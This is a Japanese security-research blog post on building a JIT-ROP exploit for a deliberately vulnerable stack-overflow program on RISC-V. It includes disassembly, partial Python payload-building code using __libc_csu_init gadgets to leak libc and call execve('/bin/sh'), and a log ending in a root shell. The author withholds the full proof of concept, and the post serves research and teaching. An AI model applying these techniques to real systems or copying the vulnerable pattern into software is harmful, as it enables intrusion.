RISC-V で JIT-ROP をやってみる

Posted by 中川 on 2019-05-16
脆弱性攻撃

はじめに

FFRI リサーチエンジニアの中川です。今回は近年注目を集めている RISC-V において ASLR RELRO データ領域での実行防止が有効な状況下で JIT ROP によるシェル起動をやってみたので、簡単にその紹介をします。

なお、将来的に悪用される可能性があることから、本記事では実証コードはすべて公開せず、断片的にかつ単体では実行できない状態で示します。実証コードをご覧になりたい場合には research-feedback[at]ffri.jp ([at]@へ変更) までご連絡ください。

RISC-V について

RISC-V はカリフォルニア大学バークレイ校によって提案された新しい ISA です。主に次のような特徴を備えていることから注目を集めています。

  • オープンかつロイヤリティフリーであり、ISA の利用に際しての制限がほとんど無く、特許の問題が発生しにくい
  • これまでの ISA の研究に基づき、非常にシンプルな構成になっており、あまり使われることのない無駄な命令が定義されていない
  • 命令セットのカスタマイズが可能で、幅広い用途に利用可能 (組み込み機器用の E 拡張、ベクトル命令の V 拡張など)

RISC-V の関心の高さは、管理団体である RISC-V Foundation のメンバーが直近 1 年で約 2 倍になっていることからも伺えます。また、インドが国家 ISA として RISC-V を採用することを発表、米国防高等研究計画局がセキュアマイクロコントローラーとして RISC-V を採用することを公表しており、国家レベルで RISC-V を採用する事例も出てきています。

今回はこうした注目を集めている RISC-V 上で脆弱性のあるプログラムを動かし、JIT ROP を使ってシェル起動する実証コードを作成しましたので、その実証コードの動作の概要について説明したいと思います。

実行環境

今回、以下の仮想マシンで検証を行いました。

  • QEMU version 3.1.0
  • Fedora 30 (Rawhide)

仮想マシンに ssh でログインした後、 cat /proc/cpuinfo で CPU を確認してみます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat /proc/cpuinfo
hart : 0
isa : rv64imafdcsu
mmu : sv48

hart : 1
isa : rv64imafdcsu
mmu : sv48

hart : 2
isa : rv64imafdcsu
mmu : sv48

hart : 3
isa : rv64imafdcsu
mmu : sv48

isa に rv64imafdcsu というのが見えるのがわかると思います。

RISC-V はモジュラー ISA を目指しており、実装する命令セットを自由に選択できるようになっています。rv64imfadcsu は以下の命令・モードを実装していることを示します。

  • I: 整数命令 (64I の場合には、64ビットアドレッシングであることを示す)
  • M: 乗除算命令
  • F: 単精度浮動小数点数演算命令
  • A: アトミック命令
  • D: 倍精度浮動小数点数演算命令
  • C: 16bit 短縮命令
  • S: Supervisor mode のサポート
  • U: User mode のサポート

このうち、I (もしくは、組み込み機器向けの E ) は必ず実装しなければいけないことになっており、基本命令と呼ばれます。基本命令の I に加え、 MFAD は利用される頻度が高いことから、総称してGと呼ばれます。GはGeneralから来ています。

脆弱性のあるプログラムの用意

今回脆弱性のあるプログラムとして、x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみるの記事で紹介されている以下のコードを利用しました。

1
2
3
4
5
6
7
8
9
10
11
// bof3.c
#include <unistd.h>

int main() {
char buf[100];
int size;
read(0, &size, 8);
read(0, buf, size);
write(1, buf, size);
return 0;
}

最初に 8 バイトのデータ長を読み込み、続けてそのデータ長分を標準入力より読み込み、読み込んだデータを標準出力に表示します。 buf のサイズが 100 バイトであり、読み込むデータが 100 バイトを超えるとバッファオーバーフローが発生する脆弱性のあるコードとなっています。

上記コードを以下のコンパイルオプションでコンパイルし、逆アセンブルすると以下のようになります。

  • コンパイルオプション
1
gcc -O3 -fno-stack-protector -Wl,-z,relro,-z,now bof3.c -o bof3.out
  • 逆アセンブル結果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00000000000103f0 <main>:
103f0: addi sp,sp,-128
103f2: addi a1,sp,4
103f4: li a2,8
103f6: li a0,0
103f8: sd ra,120(sp)
103fa: jal ra,103d0 <read@plt>
103fe: lw a2,4(sp)
10400: addi a1,sp,8
10402: li a0,0
10404: jal ra,103d0 <read@plt>
10408: lw a2,4(sp)
1040a: addi a1,sp,8
1040c: li a0,1
1040e: jal ra,103e0 <write@plt>
10412: ld ra,120(sp)
10414: li a0,0
10416: addi sp,sp,128
10418: ret

RISC-V アセンブリの詳細な説明については RISC-V 原典や最近公開されたriscv-isa-pagesなどをご参照していただければと思いますが、少しだけ説明します。

  • li 即値を読み込む疑似命令
    これは即値をレジスタに読み込むための疑似命令です。li は load immediate の略です。
    li a2,8 と書けば、 a2 レジスタに8を代入します。

  • jal ジャンプ命令
    これは PC からの相対アドレス(即値として指定)を指定してジャンプする命令です。相対アドレスとしてレジスタの値を指定するための命令jalrもあります。
    jal は jamp and link の略です。

  • addi 加算命令
    これはレジスタに即値を足し込む際に使われる命令です。addi は add immediate の略です。

また、実行に際してはASLR RELROを有効にし、スタック領域でのコード実行が無効な条件下で検証を行っています。

1
2
3
4
5
$ sysctl -w kernel.randomize_va_space=2 # ASLR
$ readelf -a bof3.out | grep BIND_NOW
0x0000000000000018 (BIND_NOW)
$ readelf -a bof3.out | grep RELRO
GNU_RELRO 0x0000000000000df8 0x0000000000011df8 0x0000000000011df8

JIT ROP の方針

shellを起動するにあたり、「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」の記事と同様、 read write の呼び出しを行い __lic_start_main のアドレスを特定する必要があります。これに関しては「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」の記事で紹介されている __libc_csu_init ガジェットを使った方法を使うことで実現できます。前節でコンパイルした実行プログラムを逆アセンブルすると

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
00000000000104cc <__libc_csu_init>:
104cc: addi sp,sp,-64
104ce: sd s0,48(sp)
104d0: sd s2,32(sp)
104d2: auipc s0,0x2
104d6: addi s0,s0,-1746 # 11e00 <__frame_dummy_init_array_entry>
104da: auipc s2,0x2
104de: addi s2,s2,-1746 # 11e08 <__init_array_end>
104e2: sub s2,s2,s0
104e6: sd ra,56(sp)
104e8: sd s1,40(sp)
104ea: sd s3,24(sp)
104ec: sd s4,16(sp)
104ee: sd s5,8(sp)
104f0: srai s2,s2,0x3
104f4: beqz s2,10512 <__libc_csu_init+0x46>
104f8: mv s5,a2
104fa: mv s4,a1
104fc: mv s3,a0
104fe: li s1,0
10500: ld a5,0(s0) <-- 呼び出す関数の関数ポインタをa5にセット
10502: mv a2,s5 # <-- 関数の第2引数をセット
10504: mv a1,s4 # <-- 関数の第1引数をセット
10506: mv a0,s3 # <-- 関数の題0引数をセット
10508: addi s1,s1,1
1050a: jalr a5 # <-- a5 にセットした関数を呼び出し
1050c: addi s0,s0,8
1050e: bne s2,s1,10500 <__libc_csu_init+0x34>
10512: ld ra,56(sp) # <-- スタックから必要な変数をレジスタにセット
10514: ld s0,48(sp)
10516: ld s1,40(sp)
10518: ld s2,32(sp)
1051a: ld s3,24(sp)
1051c: ld s4,16(sp)
1051e: ld s5,8(sp)
10520: addi sp,sp,64
10522: ret

のような箇所が見られます。アセンブリにコメントとして示したように、スタック上に呼び出す関数ポインタが格納されたアドレス、関数の第0引数から第2引数までを設定し、 jalr a5 にて呼び出すことができます。これを利用することで、 read write を呼び出すことができます。

シェル起動までの流れは

  1. __libc_csu_init ガジェットを用いて write 関数を呼び出し、__libc_start_main の開始アドレスを特定
  2. 再度、 write 関数を呼び出し、__libc_start_main のアドレスを起点として libc の中身を読み出し、 execve/bin/sh の格納されているアドレスを特定
  3. execve への関数ポインタを bss 領域に書き込み
  4. __libc_csu_init ガジェットを用いて execve を、第0引数を /bin/sh 第1・2引数を0として呼び出し

となります。

複数回 read write 関数を呼び出すにあたっては「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」の記事のように stack pivot を行う方法を最初試みましたができなかったため、(今回対象としたプログラム内に、spの値を直接変更するためのガジェットが存在しなかった)、脆弱性のある関数に制御を移し、再度バッファオーバーフローを引き起こすことにより行っています。

stack pivot ができなかったことに関しては何かしら解決する手段があるのかもしれません。これは現在、調査・検討を行っている段階です。

実証コードの説明

では実証コードの説明に入りたいと思います。

最初に __libc_csu_init の中から

  • 呼び出す関数の引数を設定するガジェット
  • 上記でセットした引数で関数を呼び出すガジェット

のアドレスを取得します。次に、それら2つのガジェットを用い、 write 関数を呼び出し、 __libc_start_main のアドレスを特定します。
該当するコードの一部分のみを抜粋すると以下のようになります。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

buf = 'A' * STACK_BUFFER_SIZE

buf += struct.pack('<Q', addr_ld_stack) # <- retを呼び出したあとのジャンプ先のアドレスを設定

buf += 'AAAAAAAA' # junk
buf += struct.pack('<Q', 8) # s5 -> a2
buf += struct.pack('<Q', addr_got_start) # s4 -> a1
buf += struct.pack('<Q', 1) # s3 -> a0
buf += struct.pack('<Q', 1) # s2
buf += struct.pack('<Q', 0) # s1
buf += struct.pack('<Q', addr_got_write) # s0
buf += struct.pack('<Q', addr_call_a5) # ra

buf += 'AAAAAAAA' # junk
# ここで必要な数だけオフセットを挿入
...

buf += 'AAAAAAAA' # junk
buf += struct.pack('<Q', addr_main) # ra

# 脆弱性のあるプログラムを実行し、 __libc_start_main のアドレスを取得
p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
addr_libc_start_main = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_libc_main = %x" % addr_libc_start_main

__libc_start_main のアドレスを取得したあとは、メモリ上の libc.so の中身を読み出します。その中から execve/bin/sh のアドレスを特定し、 __lic_csu_init 関数を使い、 execve を第0引数を /bin/sh 、第1と第2引数を0にして呼び出すことでシェルを起動することができます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
addr_binsh_str = addr_libc_start_main + libc_bin.index('\x2f\x62\x69\x6e\x2f\x73\x68') # <-- libc_bin は __libc_start_main を起点として 100KiB libc.so を読み出した結果が格納されている /bin/sh の文字列を libc.so から探しだしている

buf = 'A' * STACK_BUFFER_SIZE

buf += struct.pack('<Q', addr_ld_stack)

buf += 'AAAAAAAA' # junk
buf += struct.pack('<Q', 0) # s5 -> a2
buf += struct.pack('<Q', 0) # s4 -> a1
buf += struct.pack('<Q', addr_binsh_str) # s3 -> a0
buf += struct.pack('<Q', 1) # s2
buf += struct.pack('<Q', 0) # s1
buf += struct.pack('<Q', buffer_base) # s0
buf += struct.pack('<Q', addr_call_a5) # ra

p.stdin.write(struct.pack('<Q', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
p.stdin.write('exec <&2 >&2\n')
p.wait()

実証コードの実行例は以下のようになります。

1
2
3
4
5
6
7
8
9
10
11
# python exploit_jit_rop.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x12\x05\x01\x00\x00\x00\x00\x00AAAAAAAA\x08\x00\x00\x00\x00\x00\x00\x00\x10 \x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x03\x01\x00\x00\x00\x00\x00'
[+] addr_libc_main = 2000050046
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x12\x05\x01\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x10\x00\x00\x00\x00\x00F\x00\x05\x00 \x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x03\x01\x00\x00\x00\x00\x00'
[+] read_libc complete.
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x12\x05\x01\x00\x00\x00\x00\x00AAAAAAAA\x08\x00\x00\x00\x00\x00\x00\x00<$\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18 \x01\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00AAAAAAAA\x08\x00\x00\x00\x00\x00\x00\x00<$\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\x03\x01\x00\x00\x00\x00\x00'
[+] read: 20000b53c0
[+] write execve address complete
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x12\x05\x01\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x02\x12\x00 \x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<$\x01\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00'
id
uid=0(root) gid=0(root) groups=0(root)

idが実行でき、shellの起動に成功していることがわかります。

おわりに

RISC-V で JIT-ROP によるシェル起動を行いました。x86/x64 と勝手が違い、スタックポインタの書き換えを行うガジェットがなく、今回は stack pivot を使わない方法を採用しましたが、もしかしたら実現できるのかもしれません。stack pivot を実現する方法については今後の課題です。

FFRI ではこうした新しいプロセッサを対象としたサイバーセキュリティの研究開発も行っております。研究開発を行える人材を募集しておりますので、興味のある方は採用ページをご参照ください。